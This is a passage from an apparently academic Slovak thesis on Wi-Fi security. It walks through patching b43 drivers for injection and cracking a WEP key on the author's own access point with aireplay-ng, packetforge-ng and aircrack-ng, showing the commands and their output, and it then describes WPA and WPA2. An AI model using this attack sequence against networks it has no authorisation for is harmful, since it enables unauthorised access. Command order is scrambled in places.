Z výstupu je zrejmé, že Broadcom 4300 podporuje zásobník mac80211. 
2.) Zistiť, či ovládač WS je nainštalovaný 
 
Systémová odozva: 
 
Z výstupu je zrejmé, že ovládač Broadcom 4300 nie je nainštalovaný. 
 
Found following drivers installed: 
!< output omitted > 
3. Atmel at76c50x - IEEE80211 
4. Atmel at76_usb - IEEE80211 
7. Cisco/Aironet 802.11 - IEEE80211 Softmac 
8. HostAP - IEEE80211 
!< output omitted > 
root@mio-laptop:/home/michal# airdriver-ng installed 
root@mio-laptop:/home/michal# apt-get install aircrack-ng 
Following stacks are supported: 
0. IEEE80211 
1. IEEE80211 Softmac 
2. mac80211 
Following drivers are supported: 
!< output omitted > 
3. Atmel at76c50x - IEEE80211 
4. Atmel at76_usb - IEEE80211 
5. Broadcom 4300 - IEEE80211 
6. Broadcom 4300 - mac80211 
7. Cisco/Aironet 802.11 - IEEE80211 Softmac 
8. HostAP - IEEE80211 
!< output omitted > 
root@mio-laptop:/home/michal# airdriver-ng supported 
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Pretože ovládač Broadcom 4300 nie je nainštalovaný, je ho nutné vhodným spôsobom 
doplniť. Nasledujúce kroky znázorňujú kompiláciu a implementáciu tohto ovládača. 
a) Stiahnuť súbory potrebné ku kompilácií ovládača a inštalácií aircrack-ng 
 
b) Zistiť akým chipset bezdrôtová karta obsahuje 
 
c) Stiahnuť, rozbaliť a postaviť sadu b43-fwcutter 
 
d) Stiahnuť firmware a aplikovať ho do /lib/firmware 
 
e) Nainštalovať nový firmware 
 
f) Stiahnuť (ak nie sú) linux-headers-2.6.24-24 a linux-source-2.6.24 do /usr/src/ 
 
Druhá možnosť je pomocou Synaptic Package Manager (vhodnejšia) 
g) Stiahnuť záplaty (patches) na zvýšenie rýchlosti „vstrekovania“ paketov (injection) 
a umožňujú využívať útok fragmentáciou paketov do /usr/src/linux-source-2.6.24 
 
h) Aplikovať záplaty (patches) 
 
root@mio-laptop:/home/michal# cd /usr/src/linux-source-2.6.24/ 
root@mio-laptop:/home/michal/.../# patch -p1 < b43-injection-2.6.24.4.patch 
root@mio-laptop:/home/michal/.../# patch -p1 < mac80211_2.6.24.4_frag.patch 
root@mio-laptop:/home/michal/# wget http://www.latinsud.com/bcm/b43-injection-
2.6.24.4.patch /usr/src/linux-source-2.6.24 
root@mio-laptop:/home/michal/# wget 
http://www.latinsud.com/bcm/mac80211_2.6.24.4_frag.patch /usr/src/linux-source-
2.6.24 
root@mio-laptop:/home/michal# apt-get update 
root@mio-laptop:/home/michal# apt-get install linux-source 
root@mio-laptop:/home/michal# /usr/share/b43-fwcutter/install_bcm43xx_firmware.sh 
root@mio-laptop:/home/michal# export FIRMWARE_INSTALL_DIR="/lib/firmware" 
root@mio-laptop:/home/michal# wget http://downloads.openwrt.org/sources/broadcom-
wl-4.80.53.0.tar.bz2 
root@mio-laptop:/home/michal# tar xjf broadcom-wl-4.80.53.0.tar.bz2 
root@mio-laptop:/home/michal# cd broadcom-wl-4.80.53.0/kmod 
root@mio-laptop:/home/michal/broadcom-wl-4.80.53.0/kmod# ~/michal/b43-fwcutter-
011/b43-fwcutter -w /lib/firmware wl_apsta.o 
root@mio-laptop:/home/michal/broadcom-wl-4.80.53.0/kmod# cd /home/michal/ 
root@mio-laptop:/home/michal# wget http://bu3sch.de/b43/fwcutter/b43-fwcutter-
011.tar.bz2 
root@mio-laptop:/home/michal# tar xjf b43-fwcutter-011.tar.bz2 
root@mio-laptop:/home/michal# cd b43-fwcutter-011  
root@mio-laptop:/home/michal/b43-fwcutter-011/# make 
root@mio-laptop:/home/michal/b43-fwcutter-011/# cd .. 
root@mio-laptop:/home/michal# lspci -nn | grep 14e4 
root@mio-laptop:/home/michal# apt-get install libsqlite3-0 libssl-dev libnl-dev 
root@mio-laptop:/home/michal# apt-get install build-essential 
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i) Kompilovať a inštalovať ovládač 
 
j) Nainštalovať nástroj pre riadenie rozhrania mac80211 iw 
 
k) Nastaviť bezdrôtovú kartu do monitorovacieho módu (monitor mode) 
 
Systémová odozva: 
 
 
V kroku k) bola bezdrôtová karta uvedená do monitor módu. Štandardný stav, kedy 
bezdrôtová karta dokáže rozpoznávať jednotlivé bezdrôtové siete a pripájať sa k nim, sa 
nazýva tzv. managed mód. V tomto móde linková vrstva prijíma riadiace pakety a nastavuje 
fyzickú vrstvu podľa žiadosti vyšších vrstiev. Riadiace pakety ďalej neprechádzajú a preto 
mnoho aplikácií, určených pre analýzu (napr. aircrack-ng, wireshark atď.), nemajú možnosť 
tieto pakety vidieť. Preto sa musí bezdrôtová karta uviesť do monitor módu, kedy stanica 
monitoruje bezdrôtové médiu a odchytáva všetky pakety v jej dosahu. V tomto móde stanica 
nemá možnosť sa pripojiť k žiadnemu prístupovému bodu AP. K uvedeniu WC do monitor 
módu slúži skript airmon-ng, ktorý vytvorí virtuálne rozhranie mon0, cez ktoré bude môcť 
aircrack-ng odchytené pakety ukladať do databáze a následne analyzovať. Overenie 
správnosti nainštalovaného ovládača poskytuje skript aireplay-ng, ktorý podľa zvoleného 
módu útoku (viz. príloha 1) následne útočí na vybrané prístupové body. Príkladom 
jednoduchého módu útoku je mód test, ktorý kontroluje stav a kvalitu spoja medzi stanicou 
a prístupovými bodmi v jej dosahu (realizovaný jednoduchým pingom AP): 
 
 
 
 
Interface Chipset  Driver 
wlan0  Broadcom b43 - [phy0] 
    (monitor mode enabled on mon0) 
root@mio-laptop:/home/michal# airmon-ng start wlan0 
root@mio-laptop:/home/michal/.../# cd /home/michal/ 
root@mio-laptop:/home/michal# mkdir iw 
root@mio-laptop:/home/michal# cd iw 
root@mio-laptop:/home/michal/iw# wget http://dl.aircrack-ng.org/iw.tar.bz2 
root@mio-laptop:/home/michal/iw# tar xjf iw.tar.bz2 
root@mio-laptop:/home/michal/iw# make 
root@mio-laptop:/home/michal/iw# make install 
root@mio-laptop:/home/michal/.../# make net/mac80211/mac80211.ko 
drivers/net/wireless/b43/b43.ko drivers/net/wireless/b43legacy/b43legacy.ko 
root@mio-laptop:/home/michal/.../# make modules_install 
root@mio-laptop:/home/michal# aireplay-ng --test mon0 
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Systémová odozva: 
 
 
V tomto bode je ovládač správne nainštalovaný a bezdrôtová karta je pripravená 
vykonávať požadované útoky. V nasledujúcich krokoch bude popísaný postup útoku na sieť 
802.11 so zabezpečením WEP pomocou programu aircrack-ng v.rc3. Zo systémovej odozvy 
útočník zistil, aký prístupový bod sa nachádza v jeho okolí, kanál na ktorom vysiela, MAC 
adresu, ktorú používa a kvalitu spoja medzi nim a AP. Je nutné, aby pre úspešnosť 
nasledujúceho útoku bola priechodnosť icmp paketov relatívne vysoká (vyššia ako 90%). 
 
3.3.2 Postup útoku na sieť 802.11 so zabezpečením WEP pomocou aircrack-ng 
  
 Nasledujúci útok bude využívať situačnú a hardwarovú konfiguráciu siete 802.11g 
uvedenú na obr. 3.3. Útok pomocou programu Airsnort bol úspešný na základe odpočúvania 
komunikácie medzi účastníkom a prístupovým bodom, čím útočník získal dostatočný počet 
paketov potrebných pre odhalenie tajného hesla. Avšak čo ak v sieti skoro žiaden prenos 
nenastáva (účastníci sú málo aktívny alebo nečinný) a útočník nemá možnosť odchytiť 
dostatočný počet paketov? V takomto prípade program Airsnort je nepoužiteľný a musí sa 
zvoliť iná taktika ako tajné heslo odhaliť. Program aircrack-ng rieši i takúto situáciu, kde na 
základe aktívnych techník, popísané v nasledujúcich krokoch,  dokáže generovať sieťovú 
komunikáciu a tak získať potrebný počet odchytených paketov k získaniu tajného hesla. 
Prvou technikou generovania prenosu v sieti je založená na falošnej autentizácii (fake 
authentication) útočníka. V tomto bode je nutné overiť, či daný prístupový bod má aktivované 
riadenie prístupu (filtrovanie MAC adries). V prípade, že áno, je nutné prispôsobiť MAC 
adresu útočníka tak, aby autentizácia nebola už v počiatku filtrovaná. V opačnom prípade 
prístupový bod bude ignorovať výzvy o autentizáciu a žiadne nové inicializačné vektory IV 
nebudú generované. To sa prejaví tým, že AP bude na výzvy odpovedať tzv. 
deautentizačnými paketmi. 
Z predchádzajúcich príkladov sú parametre prenosu známe (viz. kap. 3.3.1) a preto 
jeden z možných útokov falošnou autentizáciou môže vyzerať nasledovne: 
16:00:13  Trying broadcast probe requests... 
16:00:13  Injection is working! 
16:00:14  Found 1 AP 
 
16:00:14  Trying directed probe requests... 
16:00:14  00:50:7F:DC:29:B0 - channel: 6 - 'Mio' 
16:00:19  Ping (min/avg/max): 1.265ms/152.920ms/197.264ms Power: -49.50 
16:00:19  30/30: 100% 
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kde 
  -1 : útok falošnou autentizáciou 
 4000 : čas v sekundách určený pre opakovanú autentizáciu, dlhší čas môže spôsobiť 
zasielanie paketov na overovanie aktívnosti účastníka tzv. keep-alive packets 
(nepovinný parameter)  
 -o : [ 1 ] každú periódu autentizácie zasiela jeden set paketov. Pri vyššom počte môže 
dôjsť k zmäteniu niektorých AP (nepovinný parameter) 
 -q : [ 10 ] čas v sekundách, po ktorom má útočník zaslať keep-alive paket (nepovinný 
parameter) 
 -e : [ Mio ] SSID prístupového bodu (nepovinný parameter)  
 -a : [ 00:50:7F:DC:29:B0 ] MAC adresa AP 
 -h : [ 00:1D:E0:AF:CE:0D ] MAC adresa útočníka (regulárneho účastníka) 
 mon0 : výstupné rozhranie  
Systémová odozva: 
 
V prípade, že prístupový bod má aktivované riadenie prístupu, systémová odozva môže 
vyzerať nasledovne: 
 
K tomu, aby bolo možné tajné heslo získať je nevyhnutná úspešná autentizácia a tým si 
overiť, či útočník má prístup na AP. Bez tohto kroku nemá zmysel pokračovať. 
 Nasledujúce kroky sú založené na získaní súboru s algoritmom pre pseudonáhodného 
generovania bitov PRGA (Pseudo Random Generator Algorithm) prístupového bodu AP 
pomocou útoku chopchop.  
 Útok chopchop [8] bol publikovaný už spomínaným hackerom KoreK (viz. kap. 3.3), 
ktorý je schopný dešifrovať dátové pakety bez znalosti tajného hesla. Jeho základom je 
odhaliť pôvodný nešifrovaný text bez získania hesla. Tento typ útok pracuje aj pri použití 
dynamického WEP, kde sa tajné heslo pravidelne mení. Nie však na všetky prístupové body 
16:28:02  Sending Authentication Request 
16:28:02  Got a deauthentication packet! 
!< output omitted > 
16:00:49  Waiting for beacon frame (BSSID: 00:50:7F:DC:29:B0) on channel 6 
 
16:00:54  Sending Authentication Request (Open System) [ACK] 
16:00:54  Authentication successful 
16:00:54  Sending Association Request [ACK] 
16:00:54  Association successful :-) (AID: 1) 
16:00:59  Sending keep-alive packet [ACK] 
16:01:04  Sending keep-alive packet [ACK] 
!< output omitted > 
root@mio-laptop:/home/michal# aireplay-ng -1 4000 -o 1 -q 5 -e Mio -a 
00:50:7F:DC:29:B0 -h 00:23:54:54:C8:DC mon0 
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je možné aplikovať útok chopchop. V modernejších AP táto slabina bola potlačená tým, že 
dátové pakety kratšie ako 60 bajtov sú zahodené. V prípade, že hlavičku paketu je možné 
predikovať a AP zahodí pakety kratšie ako 42 bajtov, aircrack-ng sa snaží uhádnuť zvyšok 
chýbajúcich dát. V konečnej fázy musí byť odchytený minimálne jeden dátový paket WEP 
aby aircrack-ng mohol skontrolovať, či CRC súčet IP hlavičky doplneného paketu je správny. 
Pre znázornenie, ako útok chopchop pracuje, je uvedený nasledujúci príklad [8]. 
Rámec WEP obsahuje mnoho polí (viz. obr. 3.2), preto pre jednoduchosť 
nasledujúceho príklad budeme uvažovať iba dátovú časť, jej kontrolný súčet a konštantný IV. 
Kontrolný súčet predstavuje operáciu CRC a je počítaný z každého bajtu dát. Výsledná 
hodnota CRC jedného bajtu je následne sčítaná s predchádzajúcimi bajtmi CRC.  
 
Obr. 3.8: Útok chopchop - štruktúra dátového rámca a heslovej postupnosti 
 
Operáciou modulo 2 (XOR) rámca R1 a hesla H získame výstupný kryptogram C1. 
 
Obr. 3.9: Útok chopchop - princíp šifrovania rámca R1 
 
Podobný postup aplikuje AP aj pre druhý dátový rámec R2: 
 
Obr. 3.10: Útok chopchop - princíp šifrovania rámca R2 
Legenda:  
 D0 - D4 : bajty byty dát rámca R2 zhodné s bajtmi rámca R1 
 D5      : nový dátový bajt rámca R2 
 J0 - J3 : nový CRC z dátovej časti rámca R2 
 H0 - H9 : bajty heslovej postupnosti (výstup z RC4) 
 S0 - S9 : nový kryptogram C2 
H1 H2 H3 H4 H5 H6 H7 H8 H0 H9 
S1 S2 S3 S4 S5 S6 S7 S8 S0 S9 
D2 D3 D4 D5 J3 J2 J1 J0 D1 D0 
D1 D2 D3 D4 I3 I2 I1 I0 D0 
H1 H2 H3 H4 H5 H6 H7 H8 H0 
C1 C2 C3 C4 C5 C6 C7 C8 C0 
Legenda:  
 C0 - C8 : bajty kryptogramu C1  
D1 D2 D3 D4 I3 I2 I1 I0 D0 
Dáta CRC 
Legenda:  
 D0 - D4 : bajty dát rámca R1 
 I0 - I3 : bajty CRC z dátovej časti rámca R1 
 H0 - H8 : bajty heslovej postupnosti 
      (výstup z RC4)  
H1 H2 H3 H4 H5 H6 H7 H8 H0 
Heslová postup. (RC4) 
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Z odchytených rámcov C1 a C2 môže analyzovať nasledovné fakty. Bajt C5 rámca R1 
je vypočítaný ako C5 = I3 Å H5 = I3 Å (D5 Å D5) Å H5 = (I3 Å D5) Å (D5 Å H5) = L Å S5, 
kde hodnota L predstavuje odhad súčtu I3 Å D5, tj. 28 kombinácií. Hodnoty C6 až C8 sú 
vypočítané ako o jeden krok vrátený CRC súčet závislí na hodnote L. Zlý odhad hodnoty L  
vedie k zahodeniu rámca, čím pomáha AP k lepšiemu odhadu. 
Posledný bajt správy J0 závisí iba na poslednom bajte heslovej postupnosti  
H9 = S9 Å J0, teda je nutné uhádnuť posledný bajt H9, čo predstavuje 28 kombinácií. V tomto 
procese je možné pokračovať až k odhaleniu celej heslovej postupnosti H. Využitím 
programu aircrack-ng môže útok chopchop vyzerať nasledovne: 
 
kde 
  -4 : útok chopchop 
 -h : [ 00:23:54:54:C8:DC ] MAC adresa útočníka 
 -b : [ 00:50:7F:DC:29:B0 ] MAC adresa AP 
 mon0 : výstupné rozhranie   
Systémová odozva: 
 
 
Zo systémovej odozvy je zrejmé, že odchytený paket je o veľkosti 68 bajtov. Polia 
FromDS/ToDS  (DS – Distribution Systém) môžu nadobúdať hodnôt 0 alebo 1 a označujú, 
kam je paket smerovaný, v tomto prípade z DS (v tomto prípade z AP). Ďalej útočník môže 
vidieť zloženie náhodného paketu. Zvolením „y“ proces bude pokračovať. 
 
 
17:19:07  Waiting for beacon frame (BSSID: 00:50:7F:DC:29:B0) on channel 6 
Read 2 packets... 
 
        Size: 68, FromDS: 1, ToDS: 0 (WEP) 
 
              BSSID  =  00:50:7F:DC:29:B0 
          Dest. MAC  =  FF:FF:FF:FF:FF:FF 
         Source MAC  =  00:50:7F:DC:29:B0 
 
         0x0000:  0842 0000 ffff ffff ffff 0050 7fdc 29b0  .B.........P .). 
         0x0010:  0050 7fdc 29b0 e0fa c8e1 4e00 f4f7 e295  .P .).....N..... 
        0x0020:  4c38 d659 89ed ff74 aecb f26e 17f2 1063  L8.Y...t...n...c 
        0x0030:  e7bc abd8 beec 8b67 4915 01d4 324a 6948  .......gI...2JiH 
        0x0040:  514c 59d6                                QLY. 
 
Use this packet ? y 
root@mio-laptop:/home/michal# aireplay-ng -4 -h 00:23:54:54:C8:DC  
-b 00:50:7F:DC:29:B0 mon0 
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Systémová odozva: 
 
 
Vďaka jednému zvolenému paketu aricrack-ng získal algoritmus PRGA, ktorý však 
netvorí tajné heslo nie je možné s jeho pomocou dešifrovať správy. Je však určený ku 
generovaniu nového paketu, na základe ktorého bude prevádzaný nasledujúci útok. PRGA je 
uložený v súbore vytvoreným skriptom aireplay-ng pod názvom replay_dec-0513-
171926.xor. Pole Offset určuje pozíciu bajtu, ktorého hodnotu aircrack-ng aktuálne háda. Po 
správnom odhade sa hodnota ofsetu znižuje po pozíciu bajtu, kedy je algoritmus PRGA 
známy. Celkový čas, potrebný k odhaleniu PRGA bol 17 sekúnd (závisí od kvality spoja).   
Podstata nasledujúceho útoku je založená na generovaní ARP (Address Resolution 
Protocol) paketu. Platný ARP paket je prístupovým bodom spracovaný a následne znovu 
vyslaný do bezdrôtového média. Každá odpoveď na výzvu ARP obsahuje nový IV. Tak 
útočník môže finálne získať dostatočný počet nových IV, potrebných k rozlúšteniu tajného 
hesla. Skriptu packetforge-ng vygeneruje na základe PRGA platný ARP paket, ktorý bude 
neskôr využitý v ARP útoku. Generovanie platného ARP paketu môže vyzerať nasledovne: 
 
kde 
  -0 : generovanie ARP paketu 
 -a : [ 00:50:7F:DC:29:B0 ] MAC adresa AP 
 -h : [ 00:23:54:54:C8:DC ] MAC adresa útočníka 
 -k : [ 255.255.255.255 ] cieľová IP adresa, na ktorú väčšina AP odpovedá  
 -l : [ 255.255.255.255 ] zdrojová IP adresa, na ktorú väčšina AP odpovedá 
 -y : [ replay_dec-0513-171926.xor ] zdrojový súbor obsahujúci PRGA AP 
 -w : [ arp-vyzva ] cieľový súbor, kam packetforge-ng bude ukladať generovaný paket 
root@mio-laptop:/home/michal# packetforge-ng -0 -a 00:50:7F:DC:29:B0  
-h 00:23:54:54:C8:DC -k 255.255.255.255 -l 255.255.255.255  
-y replay_dec-0513-171926.xor -w arp-vyzva  
Saving chosen packet in replay_src-0513-171908.cap 
 
Offset   67 ( 0% done) | xor = BC | pt = 6A |  909 frames written in 15453ms 
Offset   66 ( 2% done) | xor = 16 | pt = 4F |  417 frames written in  7105ms 
Offset   65 ( 5% done) | xor = 4F | pt = 03 |  147 frames written in  2487ms 
!< output omitted > 
Offset   36 (91% done) | xor = 89 | pt = 00 |   18 frames written in   306ms 
Offset   35 (94% done) | xor = 5F | pt = 06 |  229 frames written in  3893ms 
Offset   34 (97% done) | xor = DE | pt = 08 |  147 frames written in  2499ms 
 
Saving plaintext in replay_dec-0513-171926.cap 
Saving keystream in replay_dec-0513-171926.xor 
 
Completed in 17s (1.76 bytes/s) 
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Systémová odozva: 
 
 
Zo systémovej odozvy je zrejmé, že generovanie prebehlo bez problémov a platný 
ARP paket je uložený v súbore apr-vyzva. Pre nasledujúci útok je potrebné využívať dve 
relácie programu aircrack-ng súčasne, vzhľadom na to, že v jednej sa bude prevádzať ARP 
útok a v druhej sa budú odchytávať ARP odozvy od AP. Prvá relácia, skript airodump-ng, 
bude slúžiť na odchytávanie odoziev ARP od AP nasledovne:  
 
kde 
  -c : [ 6 ] určuje kanál, na ktorom bude útočník odchytávať ARP odozvy 
 --bssid : [ 00:50:7F:DC:29:B0 ] MAC adresa AP 
 -w : [ arp-odozva ] cieľový súbor, kam sa budú ukladať odchytené pakety 
 mon0 : výstupné rozhranie 
V druhej relácií bude prevádzaný samotný útok ARP s nasledovnými parametrami: 
 
kde 
  -2 : útok interaktívneho výberu rámca (interactive frame selection)  
 -r : [ arp-vyzva ] zdrojový súbor obsahujúci ARP paket 
 mon0 : výstupné rozhranie  
Systémová odozva: 
 
 
No source MAC (-h) specified. Using the device MAC (00:23:54:54:C8:DC) 
 
        Size: 68, FromDS: 0, ToDS: 1 (WEP) 
 
              BSSID  =  00:50:7F:DC:29:B0 
          Dest. MAC  =  FF:FF:FF:FF:FF:FF 
         Source MAC  =  00:23:54:54:C8:DC 
 
         0x0000:  0841 0201 0050 7fdc 29b0 0023 5454 c8dc  .A...P .)..#TT.. 
        0x0010:  ffff ffff ffff 8001 c8e1 4e00 f4f7 e295  ..........N..... 
        0x0020:  4c38 d659 89ed ff74 aecb f26e 1781 3beb  L8.Y...t...n..;. 
        0x0030:  06d0 948f 4012 8b67 4915 01d4 0d1d 97bb  ....@..gI....... 
        0x0040:  5f36 51ad                                _6Q. 
 
Use this packet ? y 
root@mio-laptop:/home/michal# aireplay-ng -2 -r arp-vyzva mon0 
root@mio-laptop:/home/michal# airodump-ng -c 6 --bssid 00:50:7F:DC:29:B0  
-w arp-odozva mon0 
 Wrote paket to: arp-vyzva 
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Zo systémovej odozvy je zrejmé, že sa jedná o paket veľkosti 68 bajtov. Polia 
FromDS/ToDS  označujú, kam je paket smerovaný, v tomto prípade k DS (v tomto prípade k 
AP). Zvolením „y“ proces bude pokračovať. 
Systémová odozva: 
 
 
V behu programu je zobrazené, koľko ARP paketov bolo vyslaných a upozorňuje na 
spustenie skriptu airodump-ng na odchytávanie paketov. 
Systémová odozva prvej relácie (skriptu airodump-ng): 
 
 
Útok ARP paketov nemusí vyjsť vždy na prvý krát (aspoň v mojom prípade). Chyba 
môže nastať v generovaní planého paketu, ktorý následne AP zahodí a tým naň viac krát 
nebude reagovať. Preto je nutné celý proces od útoku chopchop opakovať. Správny výsledok 
sa prejaví tým, že pri ARP útoku (čo predstavuje zasielanie ARP dotazov približne 500 
paketov za sekundu) skript airodump-ng odchytí približne rovnaký počet odoziev s novými 
IV. Behom jednej minúty útočník odchytil približne 40-tisíc paketov, čo predstavuje 
dostatočný počet na získanie tajného hesla. Airodump-ng pre tieto potreby vytvoril súbor 
s názvom arp-odozva, kde sú uložené útočníkom odchytené pakety.  
Aircrack-ng môže finálne rozlúštiť tajné heslo nasledovne:  
 
kde 
  -b : [ 00:50:7F:DC:29:B0 ] MAC adresa AP 
 -r : [ arp-odozva*.cap ] zdrojové súbory obsahujúce odchytené pakety 
 
 
 
 
 
root@mio-laptop:/home/michal# aircrack-ng –b 00:50:7F:DC:29:B0 –r arp-odozva*.cap 
CH  6 ][ Elapsed: 1 min ][ 2009-05-13 17:21 ]  
                                                                                
 BSSID              PWR RXQ  Beacons    #Data, #/s  CH  MB   ENC  CIPHER AUTH ESSID 
                                                                                
 00:50:7F:DC:29:B0  -26 100     1036    40272   34   6  54 . WEP  WEP         Mio 
                                                                                
 BSSID              STATION            PWR   Rate    Lost      Packets  Probes      
                                                                                
 00:50:7F:DC:29:B0  00:23:54:54:C8:DC  0     0 - 0   1061667   87124 
Saving chosen packet in replay_src-0513-171951.cap 
You should also start airodump-ng to capture replies. 
  
End of file. 
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Systémová odozva: 
 
kde 
  KB : bajt aktuálneho kľúča (KeyByte) 
 depth : hĺbka hľadania kľúča 
 byte : bajt kľúča, prezradeného z IV 
 vote : počet hlasov, indikujúcich správnosť daného bajtu kľúča 
 
 Zo systémovej odozvy je zrejmé, že útočník získal tajné heslo a tým prelomil 
zabezpečenie bezdrôtovej siete 802.11g. Tajné heslo K bolo vypočítané z takmer 48-tisíc 
inicializačných vektorov IV a vyskúšaných bolo 805 kľúčov. Pri výpočtovom výkone CPU 
2,1GHz výpočet trval 24 sekúnd. Správnosť odhadnutého hesla bola 100%. Každý bajt hesla 
KB obsahuje 12 kandidátov byte. Aircrack-ng vyberá z jedného kandidáta z každého bajtu 
hesla, ktorý má najviac hlasov (vote). Hodnota bajtu nemusí byť priamo správna hodnota 
bajtu tajného hesla ale má len aproximačný charakter. Preto obecne platí, že čím viac dát 
útočník nazbiera, tým bude priblíženie k správnemu heslu presnejšie. Následne aircrack-ng 
testuje heslo hrubou silou tak, v každom bajte hesla berie do úvahy určitý počet kandidátov. 
To o aký počet sa jedná, určuje parameter hĺbky hľadania kľúča (depth).  
Princíp počtu kandidátov spočíva v tom, že počet hlasov najúspešnejšieho kandidáta je 
podelený hodnotou hĺbky daného bajtu hesla. 
Aircrack-ng 1.0 rc3 
 
[00:00:24] Tested 73607 keys (got 47973 IVs) 
 
   KB    depth   byte(vote) 
    0    0/  5   4D(60672) 37(57344) BA(56576) BF(56576) C4(56320) 8A(56064) 
                 D6(56064) 40(55808) C2(55552) AA(54784) B3(54784) 68(54528)  
    1    0/  1   69(64256) 95(57856) D3(56832) A7(56064) 18(55296) 1F(55296) 
                 C1(55296) 4A(55040) 62(54784) 2C(54272) CB(54016) 56(53760) 
    2    0/  2   63(61696) 05(57344) C5(55296) F0(55296) B9(55040) F8(54528) 
                 8F(54272) 31(54016) FE(54016) 13(53760) 4F(53760) FB(53760)  
    3    1/  3   68(56320) 5C(55552) A1(55552) F9(55296) 45(54272) 4B(54272)  
                 83(54272) C1(53760) 17(53504) 4F(53504) 7B(53504) 97(53248)  
    4    5/  4   61(55296) 52(54528) 53(54528) 07(53760) 8D(53760) 7C(53504) 
                 9B(53504) FF(53504) 66(53248) 7D(53248) 7E(53248) 9F(53248)  
    !< output omitted > 
      
     KEY FOUND! [ 4D:69:63:68:61:6C:4D:61:72:75:73:65:6B ] (ASCII: MichalMarusek) 
        Decrypted correctly: 100% 
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Ak počet hlasov každého kandidáta je väčší ako výsledná hodnota po delení, kandidát 
spadá do okruhu pre testovanie hrubou silou. 
 
 
 Ak najúspešnejší kandidát nevyhovel podmienke pre výpočet tajného hesla, berie sa 
do úvahy susedný kandidát a proces sa opakuje. Poriadie kandidáta je označené prvou číslicou 
hĺbky depth. Ak je heslo správne, vypíše sa v hexadecimálnej forme a v ascii znakoch. 
Hodnota hĺbky preto môže priamo ovplyvniť dĺžku výpočtu tajného hesla. 
V dnešnej dobe nie je z uvedených príkladov bezpečné prevádzkovať WLAN bez 
zabezpečenia alebo so zabezpečením protokolom WEP. Mnohé siete však využívajú techník 
WEP-u pre jeho podporu v skoro každom staršom či novšom bezdrôtovom zariadení. 
Jednoduchý algoritmus nevyžaduje vysoký výpočtový výkon a tým ich cena je pomerne 
nižšia. Pokiaľ však chceme udržať naše aktíva naďalej v utajení, je nutné použiť iných techník 
zabezpečenia, ktoré poskytujú vyššiu ochranu zabezpečenia a poskytujú maximálnu integritu 
prenášaných správ. Niektoré slabiny a nedostatky protokolu WEP boli odstránené a protokol 
bol uvedený pod novým názvom WPA (WiFi Protected Access). Nasledujúce kapitoly preto 
budú venované protokolu WPA a jeho novšej verzii WPA2. 
 
Príklad 3.1 pokračovanie: 
Počet hlasov pre najúspešnejšieho kandidáta 4D = 60672 
Hraničná hodnota = vote / depth = 60672 / 5 = 12134,4 
Všetci kandidáti s počtom hlasov väčším ako je 12134,4 budú braný do okruhu pre 
testovanie hrubou silou. 
Príklad 3.1: 
   KB    depth   byte(vote) 
    0    0/  5   4D(60672) 37(57344) BA(56576) BF(56576) C4(56320) 8A(56064) 
                 D6(56064) 40(55808) C2(55552) AA(54784) B3(54784) 68(54528) 
kde depth = 5 
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4. WiFi Protected Access 
 
 V priebehu vývoja nového zabezpečovacieho protokolu bezdrôtových sieti WLAN 
vznikli dve verzie protokolu  WPA [2]. Prvá verzia vyšla pod označením WPA verzie 1, 
druhá pod označením WPA2. 
4.1 WPA v1 
  
WPA verzie 1 bol vytvorený WiFi Alianciou ako požiadavka na nový spoľahlivejší 
protokol pre zabezpečenie bezdrôtových sietí WLAN. Tento protokol bol vytvorený na 
základe kryptografických slabín protokolu WEP. V roku 2008 však kryptoanalýza protokolu 
objavila slabinu, ktorá bola založená na získaní tajného kľúča z krátkych paketov 
využívaných na re-injection a spoofing [2]. Útok na sieť 802.11 so zabezpečením WPA bude 
znázornený v neskoršej kapitole po uvedení hierarchie a distribúcie autentizačných 
a šifrovacích kľúčov. Pre nedostatky WPA neskôr vznikol štandard pod názvom IEEE 
802.11i, z ktorého väčšiu časť obsahoval pôvodný protokol WPA. Zámerom  WPA bolo 
prevziať miesto zle navrhnutého zabezpečovacieho protokolu WEP v čase vývoja štandardu 
802.11i. Prvou výhodou protokolu WPA oproti WEP je využitie protokolu TKIP (Temporal 
Key Integrity Protocol) [4], využívaný na šifrovanie a autentizáciu rámcov komunikačných 
zariadení. TKIP využíva k šifrovaniu prenášanej správy algoritmus RC4 s dĺžkou kľúča 104 
bitov. Pre zabezpečenie integrity prenášanej správy využíva TKIP autentizačný kód celého 
rámca MIC (Message Integrity Code) pomocou algoritmu MICHAEL. Pre zvýšenú 
bezpečnosť protokol mení hodnotu šifrovacieho kľúča pre každý nový paket. 
Staršie zariadenia museli pre podporu protokol TKIP prejsť aktualizáciou firmware-u. 
Keďže aktualizácia vyžadovala mnohé prispôsobenia či už koncového zariadenia tak aj 
prístupového bodu, mnoho takýchto zariadení nebolo možné prispôsobiť na podporu WPA 
s protokolom TKIP. Keďže ani WPA neposkytoval dostatočnú mieru zabezpečenia, vyšla  
aktualizácia s drobnými úpravami protokolu WPA pod označením WPA2. 
 
4.2 IEEE 802.11i – WPA2 
 
Protokol WPA2 tak ako WPA musel vyhovieť požiadavkám certifikačnej aliancie 
WiFi Alliance, aby mohol byť implementovaný do bezdrôtových zariadení. WPA2 prevzal 
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všetky povinné prvky IEEE 802.11i a často krát sa  protokol WPA2 označuje pod rovnakým 
názvom. WPA2 uviedol nový šifrovací štandard AES (Advance Encryption Standard) a spolu 
s protokolom CCMP (Counter mode encryptrion with CBC-MAC Protocol) poskytuje 
doposiaľ najbezpečnejší prenos dát po bezdrôtovom médiu v sieťach WLAN. Od roku 2006 je 
povinnou súčasťou pre všetky nové bezdrôtové zariadenia pracujúce v sieťach 802.11 [2].  
 Základom bezpečného úspešného prihlásenia do WLAN siete je obojstranná 
autentifikácia komunikujúcich zariadení. Tá je zabezpečená pomocou výpočtu autentizačného 
kódu prenášaného rámca MIC (Message Integrity Code) v móde CBC (Cipher Block 
Chaining). Mód CBC najskôr blok správy o dĺžke 128 bitov pomocou modulo 2 sčíta 
s blokom predchádzajúcej správy. Výsledný blok zašifruje a predá na ďalšie spracovanie. 
K šifrovaniu využíva šifrovací štandard AES s voliteľnou dĺžkou kľúča 128, 192 alebo 256 
bitov viz obr. 4.1 [4]. 
 
 
Obr. 4.1: Režim prevozu šifrovania správy v CBC móde 
 
Výstupný kryptogram Ci teda nezávisí iba na aktuálnom bloku správy Mi a šifrovacom kľúči K, 
ale i na predchádzajúcom bloku zašifrovanej správy Ci-1. Pred začiatkom šifrovania bloku správy, 
šifrátor musí mať nastavený počiatočný stav. Tento stav je vopred dohodnutý inicializačný vektor 
IV známy obom komunikujúcim stranám. Dešifrátor postupuje analogicky ako šifrátor, ale 
